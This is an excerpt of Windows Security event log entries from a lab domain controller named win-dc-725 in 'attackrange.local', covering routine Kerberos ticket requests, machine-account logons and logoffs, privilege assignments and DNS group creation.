ATTACKRANGE.LOCAL - Logon GUID: {472F4383-364A-400B-26FB-F685AC8C6C37} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:45:24 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=248306 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x8148B - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {516F09E8-915A-EEAE-06B7-D42FEBA6FC38} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:45:24 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=248305 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x8148B - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:45:24 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=248304 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: WIN-DC-725$@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {472F4383-364A-400B-26FB-F685AC8C6C37} - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x60810010 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:45:24 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=248303 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: WIN-DC-725$@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {472F4383-364A-400B-26FB-F685AC8C6C37} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:45:24 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=248302 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x81265 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:45:24 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=248301 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x81265 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {516F09E8-915A-EEAE-06B7-D42FEBA6FC38} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: ::1 - Source Port: 49702 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:45:24 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=248300 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x81265 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:45:24 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=248299 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x810D4 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:45:24 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=248298 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x810D4 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {516F09E8-915A-EEAE-06B7-D42FEBA6FC38} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: ::1 - Source Port: 49701 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:45:24 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=248297 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x810D4 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:45:24 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=248296 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x7DFE2 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:45:24 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=248295 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x7DFE2 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {516F09E8-915A-EEAE-06B7-D42FEBA6FC38} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: ::1 - Source Port: 49699 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:45:24 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=248294 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x7DFE2 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:45:24 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4727 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=248293 -Keywords=Audit Success -Message=A security-enabled global group was created. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x7DA57 - -New Group: - Security ID: ATTACKRANGE\DnsUpdateProxy - Group Name: DnsUpdateProxy - Group Domain: ATTACKRANGE - -Attributes: - SAM Account Name: DnsUpdateProxy - SID History: - - -Additional Information: - Privileges: - -03/11/2021 11:45:24 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4742 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Computer Account Management -OpCode=Info -RecordNumber=248292 -Keywords=Audit Success -Message=A computer account was changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x7DC88 - -Computer Account That Was Changed: - Security ID: ATTACKRANGE\WIN-DC-725$ - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - -Changed Attributes: - SAM Account Name: - - Display Name: - - User Principal Name: - - Home Directory: - - Home Drive: - - Script Path: - - Profile Path: - - User Workstations: - - Password Last Set: - - Account Expires: - - Primary Group ID: - - AllowedToDelegateTo: - - Old UAC Value: - - New UAC Value: - - User Account Control: - - User Parameters: - - SID History: - - Logon Hours: - - DNS Host Name: - - Service Principal Names: - ldap/win-dc-725.attackrange.local/attackrange.local - ldap/win-dc-725.attackrange.local - ldap/WIN-DC-725 - ldap/win-dc-725.attackrange.local/ATTACKRANGE - ldap/8895e047-912a-4468-a586-e230159c0f25._msdcs.attackrange.local - ldap/WIN-DC-725/ATTACKRANGE - E3514235-4B06-11D1-AB04-00C04FC2DCD2/8895e047-912a-4468-a586-e230159c0f25/attackrange.local - HOST/win-dc-725.attackrange.local/attackrange.local - HOST/win-dc-725.attackrange.local - HOST/WIN-DC-725 - HOST/win-dc-725.attackrange.local/ATTACKRANGE - HOST/WIN-DC-725/ATTACKRANGE - RPC/8895e047-912a-4468-a586-e230159c0f25._msdcs.attackrange.local - RestrictedKrbHost/WIN-DC-725 - RestrictedKrbHost/win-dc-725.attackrange.local - GC/win-dc-725.attackrange.local/attackrange.local - DNS/win-dc-725.attackrange.local - -Additional Information: - Privileges: - -03/11/2021 11:45:24 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=248290 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x7DC88 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {516F09E8-915A-EEAE-06B7-D42FEBA6FC38} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::80c8:c9ac:2ea9:b5ba - Source Port: 49698 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:45:24 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=248289 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x7DC88 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:45:24 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4735 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=248288 -Keywords=Audit Success -Message=A security-enabled local group was changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Group: - Security ID: ATTACKRANGE\DnsAdmins - Group Name: DnsAdmins - Group Domain: ATTACKRANGE - -Changed Attributes: - SAM Account Name: - - SID History: - - -Additional Information: - Privileges: - -03/11/2021 11:45:24 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4731 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=248287 -Keywords=Audit Success -Message=A security-enabled local group was created. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -New Group: - Security ID: ATTACKRANGE\DnsAdmins - Group Name: DnsAdmins - Group Domain: ATTACKRANGE - -Attributes: - SAM Account Name: DnsAdmins - SID History: - - -Additional Information: - Privileges: - -03/11/2021 11:45:24 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=248286 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x7DA57 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {516F09E8-915A-EEAE-06B7-D42FEBA6FC38} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: ::1 - Source Port: 49696 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:45:24 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=248285 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x7DA57 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:45:24 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=248284 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: WIN-DC-725$@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {472F4383-364A-400B-26FB-F685AC8C6C37} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:45:24 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=248283 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: WIN-DC-725$ - Supplied Realm Name: ATTACKRANGE.LOCAL - User ID: ATTACKRANGE\WIN-DC-725$ - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/11/2021 11:45:27 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=248353 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x82981 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:45:27 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=248352 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x82981 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {516F09E8-915A-EEAE-06B7-D42FEBA6FC38} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: ::1 - Source Port: 54517 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:45:27 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=248351 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x82981 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:45:27 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=248350 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x8292A - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:45:27 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=248349 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x8292A - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {516F09E8-915A-EEAE-06B7-D42FEBA6FC38} - -Process Information: - Process ID: 0x0 - Process Name: 